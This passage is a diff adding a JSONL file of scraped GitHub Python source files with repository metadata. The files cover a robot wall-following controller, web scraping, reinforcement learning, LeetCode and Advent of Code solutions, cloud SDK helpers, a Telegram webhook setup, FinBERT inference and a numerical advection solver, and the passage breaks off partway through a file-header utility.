diff --git "a/1419.jsonl" "b/1419.jsonl" new file mode 100644--- /dev/null +++ "b/1419.jsonl" @@ -0,0 +1,1099 @@ +{"seq_id": "27692582933", "text": "import datetime\r\nfrom math import floor\r\n\r\ntime_last_regulation = datetime.datetime.now()\r\nuse_derivate = True\r\nold_error = 0\r\nintegral = 0\r\nlast_diff = 0\r\nlast_valid_diffs = []\r\nlast_valid_diff = 0\r\n\r\nQUEUE_SIZE = 5\r\n\r\nclass AutoController:\r\n DESIRED_DISTANCE = 120 # Desired distance to wall\r\n STANDARD_SPEED = 40\r\n MAX_REGULATION = 30\r\n\r\n def auto_control(self, ir_right_mm, ir_right_back_mm, reg_side):\r\n global use_derivate, time_last_regulation, old_error, integral, last_diff, last_valid_diff, last_valid_diffs\r\n\r\n Kp = float(0.2)\r\n Ka = float(0.3)\r\n\r\n time_now = datetime.datetime.now()\r\n sensor_data_front = ir_right_mm\r\n sensor_data_back = ir_right_back_mm\r\n dist_diff = (sensor_data_back - sensor_data_front)\r\n\r\n regulation_error = self.DESIRED_DISTANCE - sensor_data_front + abs(dist_diff / 10)\r\n\r\n\r\n if (sensor_data_front == -1 or sensor_data_back == -1 or abs(dist_diff) > 70):\r\n dist_diff = 0\r\n regulation_error = 0\r\n else:\r\n if len(last_valid_diffs) >= QUEUE_SIZE:\r\n last_valid_diffs = last_valid_diffs[1:QUEUE_SIZE] + [dist_diff]\r\n else:\r\n last_valid_diffs = last_valid_diffs + [dist_diff]\r\n\r\n last_valid_diff = last_valid_diffs[0]\r\n\r\n regulation = floor((Kp * regulation_error) + Ka * dist_diff)\r\n\r\n old_error = regulation_error\r\n last_diff = dist_diff\r\n\r\n if (regulation > self.MAX_REGULATION):\r\n regulation = self.MAX_REGULATION\r\n elif (regulation < -self.MAX_REGULATION):\r\n regulation = -self.MAX_REGULATION\r\n\r\n if (regulation > -10):\r\n speed_close_wall = self.get_speed(ir_right_mm, ir_right_back_mm) + regulation\r\n else:\r\n speed_close_wall = 10\r\n\r\n if (regulation < 10):\r\n speed_far_wall = self.get_speed(ir_right_mm, ir_right_back_mm) - regulation\r\n else:\r\n speed_far_wall = 10\r\n\r\n time_last_regulation = time_now\r\n \r\n return int(speed_close_wall), int(speed_far_wall), regulation\r\n\r\n def get_speed(self, ir_right_mm, ir_right_back_mm):\r\n if ir_right_mm == -1 and ir_right_back_mm != -1:\r\n return self.STANDARD_SPEED\r\n else:\r\n return self.STANDARD_SPEED\r\n", "repo_name": "SebastianCallh/kartoffel-tsea29", "sub_path": "pi/autocontroller.py", "file_name": "autocontroller.py", "file_ext": "py", "file_size_in_byte": 2336, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "54", "api": [{"api_name": "datetime.datetime.now", "line_number": 4, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 4, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 25, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 25, "usage_type": "attribute"}, {"api_name": "math.floor", "line_number": 44, "usage_type": "call"}]} +{"seq_id": "71858551522", "text": "from bs4 import BeautifulSoup\r\nimport requests\r\nresponse = requests.get(\"https://www.moneydj.com/ETF/X/Basic/Basic0007.xdjhtm?etfid=TAN\")\r\nyc_web_page = response.text ####網址可TEXT 便是HTML\r\n\r\n#做湯,creating object\r\nsoup = BeautifulSoup(yc_web_page, \"html.parser\")\r\narticle_tag = soup.find(name=\"div\", class_=\"eTitle\") #找出標題HTML\r\n\r\nprint(article_tag.getText())\r\n\r\n\r\n", "repo_name": "kucmoving/Python-Draft-", "sub_path": "4. BS web scrapping.py", "file_name": "4. BS web scrapping.py", "file_ext": "py", "file_size_in_byte": 382, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "54", "api": [{"api_name": "requests.get", "line_number": 3, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 7, "usage_type": "call"}]} +{"seq_id": "72708117283", "text": "\"\"\"The SlateQ algorithm for recommendation\"\"\"\n\nimport argparse\n\nimport ray\nfrom ray.rllib.agents import slateq\nfrom ray.rllib.env.wrappers.recsim_wrapper import env_name as recsim_env_name\n\nALL_SLATEQ_STRATEGIES = [\n # RANDOM: Randomly select documents for slates.\n \"RANDOM\",\n # MYOP: Select documents that maximize user click probabilities. This is\n # a myopic strategy and ignores long term rewards. This is equivalent to\n # setting a zero discount rate for future rewards.\n \"MYOP\",\n # SARSA: Use the SlateQ SARSA learning algorithm.\n \"SARSA\",\n # QL: Use the SlateQ Q-learning algorithm.\n \"QL\",\n]\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--env-slate-size\", type=int, default=2)\n parser.add_argument(\"--env-seed\", type=int, default=0)\n parser.add_argument(\"--strategy\", type=str, default=\"SARSA\")\n parser.add_argument(\"--stop\", type=int, default=1)\n\n args = parser.parse_args()\n\n assert args.strategy in ALL_SLATEQ_STRATEGIES, \"Invalid SlateQ Strategy {}\".format(args.strategy)\n\n env_config = {\n \"slate_size\" : args.env_slate_size,\n \"seed\" : args.env_seed,\n \"convert_to_discrete_action_space\": False,\n }\n\n # config = slateq.DEFAULT_CONFIG.copy()\n # config[\"num_gpus\"] = 0\n config = {}\n config[\"num_workers\"] = 5\n config[\"slateq_strategy\"] = args.strategy\n config[\"env_config\"] = env_config\n\n ray.init()\n\n trainer = slateq.SlateQTrainer(config=config, env=recsim_env_name)\n\n result = trainer.train()\n best_checkpoint = trainer.save()\n best_reward = result['episode_reward_mean']\n print(\"Mean Reward {}:{}\".format(1, result['episode_reward_mean']))\n\n for i in range(1, args.stop):\n result = trainer.train()\n print(\"Mean Reward {}:{}\".format(i+1, result['episode_reward_mean']))\n best_reward = max(best_reward, result['episode_reward_mean'])\n if best_reward == result['episode_reward_mean']:\n best_checkpoint = trainer.save()\n\n print(\"BEST Mean Reward :\", best_reward)\n print(\"BEST Checkpoint at:\", best_checkpoint)\n ray.shutdown()\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "lairning/drl-trainers", "sub_path": "recsym/train.py", "file_name": "train.py", "file_ext": "py", "file_size_in_byte": 2216, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "54", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 24, "usage_type": "call"}, {"api_name": "ray.init", "line_number": 47, "usage_type": "call"}, {"api_name": "ray.rllib.agents.slateq.SlateQTrainer", "line_number": 49, "usage_type": "call"}, {"api_name": "ray.rllib.agents.slateq", "line_number": 49, "usage_type": "name"}, {"api_name": "ray.rllib.env.wrappers.recsim_wrapper.env_name", "line_number": 49, "usage_type": "name"}, {"api_name": "ray.shutdown", "line_number": 65, "usage_type": "call"}]} +{"seq_id": "2238821143", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# author：ShidongDu time:2020/1/29\n'''\nGiven a string S, we can transform every letter individually to be lowercase or uppercase to create another string. \nReturn a list of all possible strings we could create.\n\nExamples:\nInput: S = \"a1b2\"\nOutput: [\"a1b2\", \"a1B2\", \"A1b2\", \"A1B2\"]\n\nInput: S = \"3z4\"\nOutput: [\"3z4\", \"3Z4\"]\n\nInput: S = \"12345\"\nOutput: [\"12345\"]\n\n'''\nfrom typing import List\n# class Solution:\n# def letterCasePermutation(self, S: str) -> List[str]:\n# number = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '0']\n# res = []\n# def track_back(tmp_repository: str, tmp_res: str):\n# if len(tmp_repository) == 0:\n# res.append(tmp_res[:])\n# return\n# if tmp_repository[0] not in number:\n# track_back(tmp_repository[1:], tmp_res+tmp_repository[0].lower())\n# track_back(tmp_repository[1:], tmp_res+tmp_repository[0].upper())\n# else:\n# track_back(tmp_repository[1:], tmp_res + tmp_repository[0])\n# track_back(S, '')\n# return res\n\n# class Solution:\n# def letterCasePermutation(self, S: str) -> List[str]:\n# res = [S]\n# tmp_res = []\n# for i, c in enumerate(S):\n# if c.isalpha():\n# for s in res:\n# tmp_res.append(s[:i] + s[i].swapcase()+s[i+1:])\n# res.extend(tmp_res)\n# tmp_res = []\n# return res\n\n# 上一程序的精简版\nclass Solution:\n def letterCasePermutation(self, S: str) -> List[str]:\n res = [S]\n for i, c in enumerate(S):\n if c.isalpha():\n res.extend([s[:i]+s[i].swapcase()+s[i+1:] for s in res])\n return res\n\n\nsolution = Solution()\nres = solution.letterCasePermutation('a1b2')\nprint(res)\n", "repo_name": "weiyuyan/LeetCode", "sub_path": "Search/784. Letter Case Permutation.py", "file_name": "784. Letter Case Permutation.py", "file_ext": "py", "file_size_in_byte": 1870, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "54", "api": [{"api_name": "typing.List", "line_number": 50, "usage_type": "name"}]} +{"seq_id": "35463718679", "text": "import click\n\nfrom jekyllutils.helpers import configs\nfrom jekyllutils import files\nfrom jekyllutils.helpers.colours import with_success_prefix\n\n\n@click.command()\n@click.argument('path')\ndef set_posts_path(path):\n absolute_path = files.resolve_path(path)\n configs.set_posts_path_dir(absolute_path)\n click.echo(with_success_prefix(f\"\"\"Config key \"posts-path\" was set to \"{path}\" \"\"\"))\n\n\n@click.command()\n@click.argument('name')\ndef set_editor(name):\n configs.set_editor_name(name)\n click.echo(with_success_prefix(f\"\"\"Config key \"editor\" was set to \"{name}\" \"\"\"))\n\n\n@click.command()\ndef dump_configs():\n configs.dump_configs()\n\n\n@click.command()\ndef clear_configs():\n configs.clear_configs()\n click.echo(with_success_prefix(\"Configs cleared\"))\n", "repo_name": "queirozfcom/jekyll-utils", "sub_path": "jekyllutils/configs.py", "file_name": "configs.py", "file_ext": "py", "file_size_in_byte": 766, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "54", "api": [{"api_name": "jekyllutils.files.resolve_path", "line_number": 11, "usage_type": "call"}, {"api_name": "jekyllutils.files", "line_number": 11, "usage_type": "name"}, {"api_name": "jekyllutils.helpers.configs.set_posts_path_dir", "line_number": 12, "usage_type": "call"}, {"api_name": "jekyllutils.helpers.configs", "line_number": 12, "usage_type": "name"}, {"api_name": "click.echo", "line_number": 13, "usage_type": "call"}, {"api_name": "jekyllutils.helpers.colours.with_success_prefix", "line_number": 13, "usage_type": "call"}, {"api_name": "click.command", "line_number": 8, "usage_type": "call"}, {"api_name": "click.argument", "line_number": 9, "usage_type": "call"}, {"api_name": "jekyllutils.helpers.configs.set_editor_name", "line_number": 19, "usage_type": "call"}, {"api_name": "jekyllutils.helpers.configs", "line_number": 19, "usage_type": "name"}, {"api_name": "click.echo", "line_number": 20, "usage_type": "call"}, {"api_name": "jekyllutils.helpers.colours.with_success_prefix", "line_number": 20, "usage_type": "call"}, {"api_name": "click.command", "line_number": 16, "usage_type": "call"}, {"api_name": "click.argument", "line_number": 17, "usage_type": "call"}, {"api_name": "jekyllutils.helpers.configs.dump_configs", "line_number": 25, "usage_type": "call"}, {"api_name": "jekyllutils.helpers.configs", "line_number": 25, "usage_type": "name"}, {"api_name": "click.command", "line_number": 23, "usage_type": "call"}, {"api_name": "jekyllutils.helpers.configs.clear_configs", "line_number": 30, "usage_type": "call"}, {"api_name": "jekyllutils.helpers.configs", "line_number": 30, "usage_type": "name"}, {"api_name": "click.echo", "line_number": 31, "usage_type": "call"}, {"api_name": "jekyllutils.helpers.colours.with_success_prefix", "line_number": 31, "usage_type": "call"}, {"api_name": "click.command", "line_number": 28, "usage_type": "call"}]} +{"seq_id": "20178433770", "text": "\"\"\"AWS SNS helper functions.\n\"\"\"\n\nimport logging\nfrom . import aws\n\n_LOGGER = logging.getLogger(__name__)\n\n\n@aws.profile\ndef publish_to_sns(sns_client, message, subject, topic_arn):\n \"\"\" Publishes message to SNS queue\"\"\"\n response = sns_client.publish(\n TopicArn=topic_arn,\n Message=str(message),\n Subject=str(subject),\n )\n return response\n\n\n@aws.profile\ndef list_sns_topics(sns_client):\n \"\"\" Returns all AWS SNS topics \"\"\"\n return sns_client.list_topics()\n", "repo_name": "morganstanley/treadmill-aws", "sub_path": "lib/python/treadmill_aws/snsclient.py", "file_name": "snsclient.py", "file_ext": "py", "file_size_in_byte": 496, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "54", "api": [{"api_name": "logging.getLogger", "line_number": 7, "usage_type": "call"}]} +{"seq_id": "72311782880", "text": "from msrest.serialization import Model\n\n\nclass ComputeNode(Model):\n \"\"\"\n A compute node in the Batch service.\n\n :param id: Gets or sets the id of the compute node.\n :type id: str\n :param url: Gets or sets the URL of the compute node.\n :type url: str\n :param state: Gets or sets the current state of the compute node.\n Possible values include: 'idle', 'rebooting', 'reimaging', 'running',\n 'unusable', 'creating', 'starting', 'waitingforstarttask',\n 'starttaskfailed', 'unknown', 'leavingpool', 'offline'\n :type state: str\n :param scheduling_state: Gets or sets whether the compute node should be\n available for task scheduling. Possible values include: 'enabled',\n 'disabled'\n :type scheduling_state: str\n :param state_transition_time: Gets or sets the time at which the compute\n node entered its current state.\n :type state_transition_time: datetime\n :param last_boot_time: Gets or sets the time at which the compute node\n was started.\n :type last_boot_time: datetime\n :param allocation_time: Gets or sets the time at which this compute node\n was allocated to the pool.\n :type allocation_time: datetime\n :param ip_address: Gets or sets the IP address that other compute nodes\n can use to communicate with this compute node.\n :type ip_address: str\n :param affinity_id: Gets or sets an identifier which can be passed in the\n Add Task API to request that the task be scheduled close to this compute\n node.\n :type affinity_id: str\n :param vm_size: Gets or sets the size of the virtual machine hosting the\n compute node.\n :type vm_size: str\n :param total_tasks_run: Gets or sets the total number of job tasks\n completed on the compute node. This includes Job Preparation, Job\n Release and Job Manager tasks, but not the pool start task.\n :type total_tasks_run: int\n :param recent_tasks: Gets or sets the list of tasks that are currently\n running on the compute node.\n :type recent_tasks: list of :class:`TaskInformation\n `\n :param start_task: Gets or sets the task specified to run on the compute\n node as it joins the pool.\n :type start_task: :class:`StartTask `\n :param start_task_info: Gets or sets runtime information about the\n execution of the start task on the compute node.\n :type start_task_info: :class:`StartTaskInformation\n `\n :param certificate_references: Gets or sets the list of certificates\n installed on the compute node.\n :type certificate_references: list of :class:`CertificateReference\n `\n :param errors: Gets or sets the list of errors that are currently being\n encountered by the compute node.\n :type errors: list of :class:`ComputeNodeError\n `\n \"\"\" \n\n _attribute_map = {\n 'id': {'key': 'id', 'type': 'str'},\n 'url': {'key': 'url', 'type': 'str'},\n 'state': {'key': 'state', 'type': 'ComputeNodeState'},\n 'scheduling_state': {'key': 'schedulingState', 'type': 'SchedulingState'},\n 'state_transition_time': {'key': 'stateTransitionTime', 'type': 'iso-8601'},\n 'last_boot_time': {'key': 'lastBootTime', 'type': 'iso-8601'},\n 'allocation_time': {'key': 'allocationTime', 'type': 'iso-8601'},\n 'ip_address': {'key': 'ipAddress', 'type': 'str'},\n 'affinity_id': {'key': 'affinityId', 'type': 'str'},\n 'vm_size': {'key': 'vmSize', 'type': 'str'},\n 'total_tasks_run': {'key': 'totalTasksRun', 'type': 'int'},\n 'recent_tasks': {'key': 'recentTasks', 'type': '[TaskInformation]'},\n 'start_task': {'key': 'startTask', 'type': 'StartTask'},\n 'start_task_info': {'key': 'startTaskInfo', 'type': 'StartTaskInformation'},\n 'certificate_references': {'key': 'certificateReferences', 'type': '[CertificateReference]'},\n 'errors': {'key': 'errors', 'type': '[ComputeNodeError]'},\n }\n\n def __init__(self, id=None, url=None, state=None, scheduling_state=None, state_transition_time=None, last_boot_time=None, allocation_time=None, ip_address=None, affinity_id=None, vm_size=None, total_tasks_run=None, recent_tasks=None, start_task=None, start_task_info=None, certificate_references=None, errors=None):\n self.id = id\n self.url = url\n self.state = state\n self.scheduling_state = scheduling_state\n self.state_transition_time = state_transition_time\n self.last_boot_time = last_boot_time\n self.allocation_time = allocation_time\n self.ip_address = ip_address\n self.affinity_id = affinity_id\n self.vm_size = vm_size\n self.total_tasks_run = total_tasks_run\n self.recent_tasks = recent_tasks\n self.start_task = start_task\n self.start_task_info = start_task_info\n self.certificate_references = certificate_references\n self.errors = errors\n", "repo_name": "trb116/pythonanalyzer", "sub_path": "data/input/Azure/azure-sdk-for-python/azure-batch/azure/batch/models/compute_node.py", "file_name": "compute_node.py", "file_ext": "py", "file_size_in_byte": 5047, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "54", "api": [{"api_name": "msrest.serialization.Model", "line_number": 4, "usage_type": "name"}]} +{"seq_id": "74420965280", "text": "from decouple import config\nimport requests \n\n\ntoken = config(\"TELEGRAM_BOT_TOKEN\")\napp_url = f'https://api.telegram.org/bot{token}'\nngrok_url = 'https://c8b9cbae.ngrok.io'\npython_anywhere_url = 'gayun1109.pythonanywhere.com'\n\nset_webhook_url = f'{app_url}/setWebhook?url={python_anywhere_url}/telegram'\n\nresponse = requests.get(set_webhook_url)\nprint(response.text)\n\n\n", "repo_name": "KaYunKIM/ssafy", "sub_path": "Lectures/startcamp/day_03/set_webhook.py", "file_name": "set_webhook.py", "file_ext": "py", "file_size_in_byte": 369, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "54", "api": [{"api_name": "decouple.config", "line_number": 5, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 12, "usage_type": "call"}]} +{"seq_id": "19906840610", "text": "from multiprocessing.dummy import Pool as ThreadPool\n\nwith open(\"day6\\input.txt\") as puzzle_input:\n puzzle_input = [line.split(\",\") for line in puzzle_input.readlines()]\n puzzle_input = [[int(n) for n in l] for l in puzzle_input]\n print(type(puzzle_input))\n lines = puzzle_input\n \nwith open('day6\\input.txt') as f:\n puzzle = [int(val) for val in f.read().split(\",\")]\nprint(puzzle)\n\ndef partOne(lines2):\n #lines2 = lines\n for t in range(265): \n for i in range(len(lines[0])):\n if lines[0][i] == 0:\n lines[0][i] = 6\n lines[0].append(8)\n else:\n lines[0][i] -= 1\n #print(lines)\n print(t)\n print(len(lines[len(lines)-1]))\n \n\ndef partTow(lines):\n with open(\"day6\\input.txt\", \"r\") as file:\n fish_dict = {i: 0 for i in range(9)}\n for fish in file.readline().split(\",\"):\n fish_dict[int(fish)] += 1\n for day in range(256):\n fish_0 = fish_dict[0]\n for i in range(1, 9):\n fish_dict[i-1] = fish_dict[i]\n fish_dict[8] = fish_0\n fish_dict[6] += fish_0\n print(sum(fish_dict.values()))\n \n \nlistHe = [puzzle.count(i) for i in range(0,9)]\n \n \nif __name__ == '__main__':\n #partOne(puzzle_input)\n #partTow(puzzle_input)\n \n import multiprocessing as mp\n n = mp.cpu_count() * 32 # multiply guard against counting only active cores\n with mp.Pool(n) as p:\n p.map(partOne, range(n))", "repo_name": "megamxl/aoc", "sub_path": "2021/day6/day6.py", "file_name": "day6.py", "file_ext": "py", "file_size_in_byte": 1521, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "54", "api": [{"api_name": "multiprocessing.cpu_count", "line_number": 49, "usage_type": "call"}, {"api_name": "multiprocessing.Pool", "line_number": 50, "usage_type": "call"}]} +{"seq_id": "35056842600", "text": "import tensorflow as tf\nfrom transformers import AutoTokenizer, TFAutoModelForSequenceClassification\n\ntokenizer = AutoTokenizer.from_pretrained(\"ProsusAI/finbert\")\nmodel = TFAutoModelForSequenceClassification.from_pretrained(\"ProsusAI/finbert\")\n\n# def pred_to_sentiment(outputs):\n# sentiments = [\n# \"positive\",\n# \"neutral\",\n# \"negative\"\n# ]\n\n# i = max(range(len(outputs[0][0])), key=outputs[0][0].__getitem__)\n# return sentiments[i]\n \n\n# print(outputs[0][0])\n# print(pred_to_sentiment(outputs))\n\ndef name():\n return \"Finbert\"\n\ndef run(sentences):\n for s in sentences:\n inputs = tokenizer(s, padding = True, truncation = True, return_tensors='tf')\n outputs = model(**inputs)", "repo_name": "stefanTrawicki/profiling_bert_models", "sub_path": "finbert.py", "file_name": "finbert.py", "file_ext": "py", "file_size_in_byte": 736, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "54", "api": [{"api_name": "transformers.AutoTokenizer.from_pretrained", "line_number": 4, "usage_type": "call"}, {"api_name": "transformers.AutoTokenizer", "line_number": 4, "usage_type": "name"}, {"api_name": "transformers.TFAutoModelForSequenceClassification.from_pretrained", "line_number": 5, "usage_type": "call"}, {"api_name": "transformers.TFAutoModelForSequenceClassification", "line_number": 5, "usage_type": "name"}]} +{"seq_id": "72108102240", "text": "#!/usr/bin/env python3\n\nfrom functools import partial\nfrom typing import AnyStr\nfrom contextlib import contextmanager\nimport time\n\nimport numpy as np\nimport scipy.fftpack as fft\nfrom netCDF4 import Dataset\nimport matplotlib.pyplot as plt\n\nfrom ode import OdeSolver\n\ndt = 0.02\n\n\n@contextmanager\ndef Timer(tag=''):\n start = time.time()\n try:\n yield\n finally:\n tot = time.time() - start\n print(f'{tag:s} {tot:.02f}')\n\nclass Grid:\n nx = 360\n xmin = 0.0\n xmax = 360.0\n xi = np.linspace(xmin, xmax, nx+1)\n x = (xi[1:] + xi[:-1])/2\n dx = (xmax - xmin)/nx\n\n def __init__(self, scheme:AnyStr):\n self.scheme = getattr(self, '_scheme_'+scheme)\n\n def tend(self, s, u):\n return self.scheme(s, u)\n\n @classmethod\n def _scheme_fd(cls, s, u):\n f = s*u # flux\n weights = (\n (2, -1/12),\n (1, 2/3),\n (-1, -2/3),\n (-2, 1/12)\n )\n return sum(w*np.roll(f, shit) for shit, w in weights)/cls.dx\n\n @classmethod\n def _scheme_spec(cls, s, u):\n f = s*u # flux\n fspec = fft.fft(f)\n freq = fft.fftfreq(len(f), d=cls.dx)\n dfdxspec = -fspec*complex(0, 2*np.pi)*freq\n return np.real(fft.ifft(dfdxspec))\n\n @classmethod\n def _scheme_fv(cls, s, u):\n f = s*u # flux\n fs1 = np.roll(f, 1)\n fsn1 = np.roll(f, -1)\n c = u*dt/cls.dx\n r = (f - fs1)/(fsn1 - f + 1.0e-6)\n phi = np.maximum(0.0, np.minimum(2*r, 1.0))\n phi = np.maximum(np.minimum(r, 2.0), phi)\n\n fmid = f + phi*((1-c)/2)*(fsn1 - f)\n return -np.diff(fmid, prepend=fmid[-1])/cls.dx\n # plt.plot(phi, label='Zhang')\n # plt.plot(np.reshape(np.loadtxt('data.txt'), (-1, )), label='Wu')\n # plt.legend()\n # plt.show()\n # import sys; sys.exit()\n\ndef read_init():\n with Dataset('ic_homework3.nc', 'r') as dset:\n ic = dset.variables['N'][:]\n ic = np.array(ic)\n ic.setflags(write=False)\n return ic\n\n\nclass Model(OdeSolver):\n ic = read_init()\n def __init__(self, scheme):\n tend = partial(Grid(scheme).tend, u=10.0)\n odescheme = 'euler' if scheme == 'fv' else 'rk4'\n super().__init__(tend, dt=dt, scheme=odescheme)\n\n def iter_states(self):\n return super().iter_states(self.ic)\n\ndef main():\n nstep = int(1.8e4)\n\n plt.plot(Model.ic, label='exact', linestyle='-', linewidth=4.0)\n\n for scheme in ('fd', 'spec', 'fv'):\n model = Model(scheme)\n\n with Timer(scheme):\n for i, state in zip(range(nstep), model.iter_states()):\n if i %100 == 0:\n print(scheme, f'nstep {i:04d}')\n plt.plot(state, label=scheme, marker='', linestyle='-', markersize=0.2)\n\n plt.legend()\n plt.xlabel(r'Lontitude ($^\\circ$)')\n plt.ylabel('N')\n plt.title(f'NSTEP = {nstep}')\n plt.savefig(f'{nstep:d}steps.eps')\n\nif __name__ == '__main__':\n main()\n", "repo_name": "Yixiao-Zhang/simply-shallow-water", "sub_path": "advect.py", "file_name": "advect.py", "file_ext": "py", "file_size_in_byte": 2954, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "54", "api": [{"api_name": "time.time", "line_number": 20, "usage_type": "call"}, {"api_name": "time.time", "line_number": 24, "usage_type": "call"}, {"api_name": "contextlib.contextmanager", "line_number": 18, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 31, "usage_type": "call"}, {"api_name": "typing.AnyStr", "line_number": 35, "usage_type": "name"}, {"api_name": "numpy.roll", "line_number": 50, "usage_type": "call"}, {"api_name": "scipy.fftpack.fft", "line_number": 55, "usage_type": "call"}, {"api_name": "scipy.fftpack", "line_number": 55, "usage_type": "name"}, {"api_name": "scipy.fftpack.fftfreq", "line_number": 56, "usage_type": "call"}, {"api_name": "scipy.fftpack", "line_number": 56, "usage_type": "name"}, {"api_name": "numpy.pi", "line_number": 57, "usage_type": "attribute"}, {"api_name": "numpy.real", "line_number": 58, "usage_type": "call"}, {"api_name": "scipy.fftpack.ifft", "line_number": 58, "usage_type": "call"}, {"api_name": "scipy.fftpack", "line_number": 58, "usage_type": "name"}, {"api_name": "numpy.roll", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.roll", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.maximum", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.minimum", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.maximum", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.minimum", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.diff", "line_number": 71, "usage_type": "call"}, {"api_name": "netCDF4.Dataset", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 81, "usage_type": "call"}, {"api_name": "ode.OdeSolver", "line_number": 86, "usage_type": "name"}, {"api_name": "functools.partial", "line_number": 89, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 99, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 99, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 108, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 108, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 110, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 110, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 111, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 111, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 112, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 112, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 113, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 113, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 114, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 114, "usage_type": "name"}]} +{"seq_id": "8964092901", "text": "from sklearn.cluster import KMeans, DBSCAN\nfrom sklearn.metrics import silhouette_score\nimport numpy as np\n\n\nclass KMeansClustering:\n def __init__(self, num_clusters):\n self.num_clusters = num_clusters\n if num_clusters == 'auto':\n pass\n else:\n self.kmeans = KMeans(n_clusters=num_clusters, n_init='auto')\n\n def fit_to_data(self, data):\n if self.num_clusters == 'auto':\n scores = [0, 0]\n for k in range(2, 10):\n kmeans = KMeans(n_clusters=k, n_init='auto')\n kmeans.fit(data)\n labels = kmeans.labels_\n scores.append(silhouette_score(data, labels, metric='euclidean'))\n\n optimal_cluster_num = np.argmax(scores)\n print(\"Optimal Cluster Number is: {}\".format(optimal_cluster_num))\n self.kmeans = KMeans(n_clusters=optimal_cluster_num, n_init='auto')\n self.kmeans.fit(data)\n return self.kmeans.labels_\n\n def predict(self, data):\n return self.kmeans.predict(data)\n\n\nclass DBSCANClustering:\n def __init__(self, eps=0.5):\n self.dbscan = DBSCAN(eps=eps)\n\n def fit_to_data(self, data):\n self.dbscan.fit(data)\n return self.dbscan.labels_\n", "repo_name": "PascalGraf95/proj-feature-extraction", "sub_path": "clustering_algorithms.py", "file_name": "clustering_algorithms.py", "file_ext": "py", "file_size_in_byte": 1248, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "54", "api": [{"api_name": "sklearn.cluster.KMeans", "line_number": 12, "usage_type": "call"}, {"api_name": "sklearn.cluster.KMeans", "line_number": 18, "usage_type": "call"}, {"api_name": "sklearn.metrics.silhouette_score", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 23, "usage_type": "call"}, {"api_name": "sklearn.cluster.KMeans", "line_number": 25, "usage_type": "call"}, {"api_name": "sklearn.cluster.DBSCAN", "line_number": 35, "usage_type": "call"}]} +{"seq_id": "29953737812", "text": "import pathlib\nimport os\nimport time\nimport sys\n\n\ndef picker():\n option = 0\n while True:\n try:\n option = int(input(\n \"Please select an operation...\\n[1] Remove headers from all files of a type within a directory.\\n[2] \"\n \"Merge header files with data files.\\n[3] Exit\\n\\n\\n\"))\n if not 0 < int(option) < 4:\n print(\"Choose one of the provided options.\")\n else:\n break\n except ValueError as e:\n print(\"Please only use one of the provided numbers.\" + \"\\n\" + \"---\" * 10)\n return option\n\n\ndef breaker():\n string_split = input(\"Input string to split: \").lower().replace(\" \",\n \"\") # Takes given hex delimiter, converts to lowercase and strips all whitespace\n file_type = input(\"Please enter the file type to modify: \").strip() # Takes a filetype to modify\n # Adds a period to the beginning of the provided filetype if one is not already present\n if not file_type.startswith(\".\"):\n file_type = \".\" + file_type\n target_dir = os.getcwd() # Gets the directory the script lives in\n target_req = input(\n \"Please enter the target directory, leave blank to use the script's current location: \") # Takes input from user regarding where to look for files in\n # If user provided a target directory switch from current directory to given directory\n if len(target_req) > 1:\n target_dir = target_req\n\n for active_file in pathlib.Path(target_dir).glob(\n '*' + file_type): # Looks at every file in given folder ending with the given file type\n try:\n with open(active_file, \"rb\") as from_file, open(\n str(active_file).rsplit(\".\", 1)[0] + \"_audited.\" + str(active_file).rsplit(\".\", 1)[1],\n \"wb\") as to_file: # Opens up current file as a 